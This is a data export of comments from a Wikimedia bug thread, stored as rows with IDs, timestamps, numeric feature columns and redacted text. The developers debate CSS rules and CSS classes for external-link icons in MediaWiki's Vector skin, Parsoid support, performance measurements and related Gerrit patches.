258809,Large number of CSS rules for external links,"@Daniel: long story, but basically gzip compression in HTTP only works in the download direction.  There is no equivalent content negotiation for uploads in HTTP.",,,1403737425,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,3.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.733333333333333,0.8666666666666667,"SCREEN_NAME: long story, but basically gzip compression in HTTP only works in the download direction.  There is no equivalent content negotiation for uploads in HTTP."
258802,Large number of CSS rules for external links,"(In reply to Gabriel Wicke from comment #52)
> We have use cases where uncompressed HTML is sent over the wire (HTML save
> from VE), so uncompressed DOM size does matter.

Why is it not compressed?",,,1403737169,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,27.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,14.0,9.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,0.9090909090909091,"(In reply to Gabriel Wicke from comment #52)
QUOTE
QUOTE

Why is it not compressed?"
258797,Large number of CSS rules for external links,"(In reply to Bartosz Dziewoński from comment #54)
> (In reply to Gabriel Wicke from comment #52)
> > Do we have actual measurements that verify that this benefits total page
> > view performance in practice?
> 
> We don't. Jon provided some funky tool in comment 11 but I've been unable to
> get it to work. 

Same here, it wouldn't even load for me.

> Krinkle provided a theoretical explanation on why this
> should make a difference in comment 10.

Both of these aren't really telling us whether it's an overall win, draw or loss to add extra classes in the DOM & use those rather than match on existing properties. They both focus on one part of the picture only, and lack quantitative data. Only measurements can really answer this question.

> (In reply to Gabriel Wicke from comment #53)
> > One more note on browser support: IIRC these selectors were already
> > supported by IE 6 in 2004.
> 
> Not by IE 6, but by every other browser, yes. IE 7+ supports them too.

Ah, okay. Misremembered that then ;)",,,1403736790,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,1.5,0.0,1.0,0.0,6.0,8.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.5,0.5,2.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,15.0,1.5,2.0,5.5,0.0,1.0,0.0,0.5,6.0,1.5,1.5,0.0,3.0,8.5,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.5,1.0,1.5,0.0,0.0,0.0,3.6864406779661016,0.7203389830508474,"(In reply to Bartosz Dziewoński from comment #54)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Same here, it wouldn't even load for me.

QUOTE
QUOTE

Both of these aren't really telling us whether it's an overall win, draw or loss to add extra classes in the DOM & use those rather than match on existing properties. They both focus on one part of the picture only, and lack quantitative data. Only measurements can really answer this question.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Ah, okay. Misremembered that then ;)"
258792,Large number of CSS rules for external links,"(In reply to Gabriel Wicke from comment #52)
> Do we have actual measurements that verify that this benefits total page
> view performance in practice?

We don't. Jon provided some funky tool in comment 11 but I've been unable to get it to work. Krinkle provided a theoretical explanation on why this should make a difference in comment 10.


> If there is no measurable improvement on page
> view / rendering even on mobile, then I'd propose to keep this in CSS to
> avoid slowing down use cases like VE saves.

You are actually proposing restoring this to CSS :), because it's already been removed (in spite of working well since 2004). I wouldn't mind that, personally.


(In reply to Gabriel Wicke from comment #53)
> One more note on browser support: IIRC these selectors were already
> supported by IE 6 in 2004.

Not by IE 6, but by every other browser, yes. IE 7+ supports them too.",,,1403735921,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,1.5,0.0,0.0,1.0,2.0,2.5,0.5,1.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,12.5,0.0,1.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.5,3.5,0.5,0.0,0.0,1.0,0.5,0.0,1.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,7.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,14.0,3.0,2.0,3.5,0.0,0.0,0.0,1.5,2.5,1.0,4.5,0.0,4.5,12.5,7.0,0.0,0.0,0.0,4.5,0.0,0.5,1.0,1.0,2.0,0.0,0.0,0.0,3.5388964269561285,0.7746494798733605,"(In reply to Gabriel Wicke from comment #52)
QUOTE
QUOTE

We don't. Jon provided some funky tool in comment 11 but I've been unable to get it to work. Krinkle provided a theoretical explanation on why this should make a difference in comment 10.


QUOTE
QUOTE
QUOTE

You are actually proposing restoring this to CSS :), because it's already been removed (in spite of working well since 2004). I wouldn't mind that, personally.


(In reply to Gabriel Wicke from comment #53)
QUOTE
QUOTE

Not by IE 6, but by every other browser, yes. IE 7+ supports them too."
258787,Large number of CSS rules for external links,One more note on browser support: IIRC these selectors were already supported by IE 6 in 2004.,,,1403734881,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.105263157894737,1.0,One more note on browser support: IIRC these selectors were already supported by IE 6 in 2004.
258782,Large number of CSS rules for external links,"We have use cases where uncompressed HTML is sent over the wire (HTML save from VE), so uncompressed DOM size does matter.

Do we have actual measurements that verify that this benefits total page view performance in practice? If there is no measurable improvement on page view / rendering even on mobile, then I'd propose to keep this in CSS to avoid slowing down use cases like VE saves.",,,1403734104,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,1.0,4.0,0.0,4.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,21.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,3.0,13.0,4.0,1.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,15.0,5.0,1.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.128205128205129,0.7948717948717948,"We have use cases where uncompressed HTML is sent over the wire (HTML save from VE), so uncompressed DOM size does matter.

Do we have actual measurements that verify that this benefits total page view performance in practice? If there is no measurable improvement on page view / rendering even on mobile, then I'd propose to keep this in CSS to avoid slowing down use cases like VE saves."
258777,Large number of CSS rules for external links,"(In reply to C. Scott Ananian from comment #50)
> Hm, Parsoid does not tag links with classes.  The only CSS would work fine
> for parsoid-generated HTML; the new CSS will not.

That is a bug in parsoid. We've required the .external class at minimum for years, parsoid should be able to handle link classes.",,,1403733775,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,25.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,16.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.8863636363636364,"(In reply to C. Scott Ananian from comment #50)
QUOTE
QUOTE

That is a bug in parsoid. We've required the .external class at minimum for years, parsoid should be able to handle link classes."
258773,Large number of CSS rules for external links,"Hm, Parsoid does not tag links with classes.  The only CSS would work fine for parsoid-generated HTML; the new CSS will not.",,,1403733257,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5517241379310347,0.896551724137931,"Hm, Parsoid does not tag links with classes.  The only CSS would work fine for parsoid-generated HTML; the new CSS will not."
258769,Large number of CSS rules for external links,"We'll have https (secure) and external link icons in wiki font soon (probably already) but wiki font isn't in core yet, these issues are related but could be separate too.",,,1403727638,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,3.0,3.0,11.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.736842105263158,0.8421052631578947,"We'll have https (secure) and external link icons in wiki font soon (probably already) but wiki font isn't in core yet, these issues are related but could be separate too."
258765,Large number of CSS rules for external links,"Change 141973 had a related patch set uploaded by Bartosz Dziewoński:
Linker: Add CSS classes to external links to some protocols/filetypes

https://gerrit.wikimedia.org/r/141973",,,1403727424,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,0.9285714285714286,"Change 141973 had a related patch set uploaded by Bartosz Dziewoński:
Linker: Add CSS classes to external links to some protocols/filetypes

GERRIT_URL"
258762,Large number of CSS rules for external links,"I've looked at this again now that things have cooled down. I still do not like this solution, and I still like this alternative proposed a long time ago:

(In reply to Bartosz Dziewoński from comment #13)
> (In reply to Jon from comment #11)
> > That aside use of a single class .link-https rather than a
> > combination of class .link-https, div#content a.external[href
> > ^=""https://""] would be preferable for a variety of reasons
> > readability, maintainability, reduced file size... are you really
> > telling me this is not a no-brainer?
> 
> Using the classes as you proposed does seem sane and mostly non-troublesome
> (apart from the classic caching issues). I am perfectly fine with doing that
> (as long as I'm not the one who will have to jerry-rig the Parser).

So I looked at the Parser, or in fact the Linker, and doing this is actually amusingly trivial. Pity no one did this the first time around.

A patch will follow momentarily.",,,1403727235,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,2.5,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.5,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,1.0,17.0,0.5,2.5,8.5,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,2.5,5.0,9.5,0.0,0.0,0.0,2.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,3.605769230769231,0.7211538461538461,"I've looked at this again now that things have cooled down. I still do not like this solution, and I still like this alternative proposed a long time ago:

(In reply to Bartosz Dziewoński from comment #13)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

So I looked at the Parser, or in fact the Linker, and doing this is actually amusingly trivial. Pity no one did this the first time around.

A patch will follow momentarily."
258758,Large number of CSS rules for external links,"Regardless of everyone's opinions the patch has been merged, so this is fixed.",,,1399940828,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,45,,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,"Regardless of everyone's opinions the patch has been merged, so this is fixed."
258754,Large number of CSS rules for external links,"Change 124618 merged by jenkins-bot:
Follow-up: If985b16c – Vector external link change release notes

https://gerrit.wikimedia.org/r/124618",,,1397145263,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.391304347826087,0.9130434782608695,"Change 124618 merged by jenkins-bot:
Follow-up: If985b16c – Vector external link change release notes

GERRIT_URL"
258750,Large number of CSS rules for external links,"Change 124618 had a related patch set uploaded by Jdlrobson:
Follow up to If985b16c4f682d737683597ed80951c6d6644c8f

https://gerrit.wikimedia.org/r/124618",,,1396972855,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.388888888888889,1.0,"Change 124618 had a related patch set uploaded by Jdlrobson:
Follow up to If985b16c4f682d737683597ed80951c6d6644c8f

GERRIT_URL"
258744,Large number of CSS rules for external links,"I can tell you that it's customary on sites like Reddit to add a ""PDF warning"" to a description of a link that points directly to a PDF document. (Other file types don't really come up often enough for such a custom to develop.)",,,1396952733,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,40,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,10.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,19.0,2.0,0.0,4.0,0.0,6.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,3.5576923076923075,0.7884615384615384,"I can tell you that it's customary on sites like Reddit to add a ""PDF warning"" to a description of a link that points directly to a PDF document. (Other file types don't really come up often enough for such a custom to develop.)"
258739,Large number of CSS rules for external links,"(In reply to Jon from comment #37)
> As stated above external links were removed as part of the typography beta
> feature. Actually, not a single person wrote about this on the talk page
> (https://www.mediawiki.org/wiki/Talk:Typography_Update) during the 6 months
> it was live. This evidence leads me to believe that they are /not/ important
> and it is the basis for removing them.

However, anyone who used a wiki (like English Wikipedia, which has such rules at https://en.wikipedia.org/wiki/MediaWiki:Common.css and https://en.wikipedia.org/wiki/MediaWiki:Vector.css) with local rules would not have seen any difference.

Thus, it's a valid question how many people who used the Beta feature saw a visible change to the main (PDF and HTTPS seem like the biggies for article space, with the audio being used a decent amount, but not as much, but I don't have data) icons.  If a tiny number were affected, then ""not a single person wrote about this"" is not a convincing argument.

I think English Wikipedia Beta users saw neither change, since PDF is at [[MediaWiki:Common.css]] and HTTPS is at [[MediaWiki:Vector.css]].

However, it is certainly true that we are not going to be able to do dedicated research for every change, and this may be one such example.  I agree that this feature affects both readers and editors, and we need to consider the impact on both.  Having tools to do A/B tests on readers would certainly help, but it wouldn't solve everything.

It can definitely be iterated on regardless.  In particular (if we proceed without the format-specific icons), there should be at least one follow-up change to do the following:

1. Remove obsolete FIXME comment from externalLinks.css.
2. Release notes
3. Fixes from https://gerrit.wikimedia.org/r/#/c/123817/3/skins/vector/components/externalLinks.less .  Note the point about div#content on the left, and might as well do the formatting fix on the right (space before right paren) since there needs to be a commit anyway.

Marking open again and assigning to Jon.",,,1396921020,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,40,,1.0,0.5,0.0,0.75,1.75,5.5,1.75,0.0,0.0,0.5,2.0,0.5,0.0,0.0,0.5,1.5,0.25,6.0,10.5,0.5,1.5,0.25,0.5,0.0,1.5,0.5,0.0,0.0,0.75,0.75,0.25,4.0,1.75,1.0,1.25,0.0,0.25,0.25,0.0,0.75,0.25,0.0,0.25,1.0,0.0,0.25,0.0,0.0,0.25,12.0,0.5,0.25,0.25,0.0,0.0,0.0,0.25,0.25,1.0,0.0,1.25,1.75,0.0,0.0,0.25,0.25,0.0,5.0,3.0,11.0,1.75,3.0,7.0,0.0,0.0,0.0,0.25,4.5,0.0,1.0,0.0,2.5,10.5,6.0,0.0,0.5,0.0,2.5,0.0,1.0,2.0,0.0,1.75,0.0,0.25,1.75,3.689655172413793,0.706896551724138,"(In reply to Jon from comment #37)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

However, anyone who used a wiki (like English Wikipedia, which has such rules at URL and URL with local rules would not have seen any difference.

Thus, it's a valid question how many people who used the Beta feature saw a visible change to the main (PDF and HTTPS seem like the biggies for article space, with the audio being used a decent amount, but not as much, but I don't have data) icons.  If a tiny number were affected, then ""not a single person wrote about this"" is not a convincing argument.

I think English Wikipedia Beta users saw neither change, since PDF is at [[MediaWiki:Common.css]] and HTTPS is at [[MediaWiki:Vector.css]].

However, it is certainly true that we are not going to be able to do dedicated research for every change, and this may be one such example.  I agree that this feature affects both readers and editors, and we need to consider the impact on both.  Having tools to do A/B tests on readers would certainly help, but it wouldn't solve everything.

It can definitely be iterated on regardless.  In particular (if we proceed without the format-specific icons), there should be at least one follow-up change to do the following:

1. Remove obsolete FIXME comment from externalLinks.css.
2. Release notes
3. Fixes from URL .  Note the point about div#content on the left, and might as well do the formatting fix on the right (space before right paren) since there needs to be a commit anyway.

Marking open again and assigning to Jon."
258735,Large number of CSS rules for external links,"(In reply to Jon from comment #37)
> Commits and reverts are cheap.

No. There's almost no evidence to suggest that commits and reverts of this nature are cheap. There's a ton of evidence to suggest that commits and reverts of this nature are expensive (in terms of community time and developer time).

> We have a huge editor decline and here we are arguing about some icons next to
> links.

No fearmongering here, please. The stated editor decline is dubious, bordering on spurious. This bug is strictly about ""some icons next to links."" You (Jon) are sidetracking the technical conversation with FUD about an editor decline. Focus on the issue at hand, please.",,,1396920224,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,1.0,0.0,0.0,0.0,0.0,5.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,1.5,2.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,3.0,1.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.5,10.5,1.0,1.5,8.0,0.0,0.0,0.0,0.5,1.0,1.5,0.5,0.0,1.0,12.0,2.0,0.0,1.5,0.0,1.0,0.0,0.0,1.5,0.0,2.5,0.0,0.0,0.0,3.9333333333333336,0.6833333333333333,"(In reply to Jon from comment #37)
QUOTE

No. There's almost no evidence to suggest that commits and reverts of this nature are cheap. There's a ton of evidence to suggest that commits and reverts of this nature are expensive (in terms of community time and developer time).

QUOTE
QUOTE

No fearmongering here, please. The stated editor decline is dubious, bordering on spurious. This bug is strictly about ""some icons next to links."" You (Jon) are sidetracking the technical conversation with FUD about an editor decline. Focus on the issue at hand, please."
258732,Large number of CSS rules for external links,"(In reply to Jared Zimmerman (WMF) from comment #36)
> (In reply to Isarra from comment #34)
> We did a beta feature, it was called typography refresh, and little to no
> feedback (negative or positive) addressed the removal of these icons, that
> was the impetus for moving forward with this as a simple patch. 

Lumping multiple changes together and then testing the entire pile is problematic by its very nature: it can become very difficult to differentiate between the effects of different changes, and getting meaningful feedback on any specific one often becomes very difficult. Thus you can wind up with an overall positive response despite individual aspects which significantly detract from the experience, and then wind up thinking those, too, are positive when they really aren't (or visa versa).

Thus, to say anything specific about the external link icons and potential changes, I would suggest that you need to test or otherwise investigate those specifically, and distinctly, first. Jon's not wrong that this is a relatively minor thing, but while that means a full-on battery of tests probably isn't actually necessary here, like with any other change, discussion is definitely in order in order to establish some sort of consensus as to what best serves the users. So here we are. Discussing. Or we were, before the entire thing got a wee bit sidetracked.",,,1396918242,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,1.3333333333333333,0.3333333333333333,1.0,0.0,1.0,8.666666666666666,1.6666666666666667,0.0,0.0,0.0,2.6666666666666665,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,10.333333333333334,11.666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,5.0,1.3333333333333333,0.6666666666666666,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,10.0,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.0,3.3333333333333335,5.666666666666667,2.0,3.3333333333333335,7.0,0.0,0.0,0.0,0.3333333333333333,3.0,0.0,0.6666666666666666,0.0,3.0,11.666666666666666,2.0,0.0,0.0,0.0,3.0,0.0,1.0,1.6666666666666667,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,4.328828828828829,0.7747747747747749,"(In reply to Jared Zimmerman (WMF) from comment #36)
QUOTE
QUOTE
QUOTE
QUOTE

Lumping multiple changes together and then testing the entire pile is problematic by its very nature: it can become very difficult to differentiate between the effects of different changes, and getting meaningful feedback on any specific one often becomes very difficult. Thus you can wind up with an overall positive response despite individual aspects which significantly detract from the experience, and then wind up thinking those, too, are positive when they really aren't (or visa versa).

Thus, to say anything specific about the external link icons and potential changes, I would suggest that you need to test or otherwise investigate those specifically, and distinctly, first. Jon's not wrong that this is a relatively minor thing, but while that means a full-on battery of tests probably isn't actually necessary here, like with any other change, discussion is definitely in order in order to establish some sort of consensus as to what best serves the users. So here we are. Discussing. Or we were, before the entire thing got a wee bit sidetracked."
258727,Large number of CSS rules for external links,"(In reply to Jon from comment #37)
> The world is not breaking. The world of Vector is just going through
> turbulence.

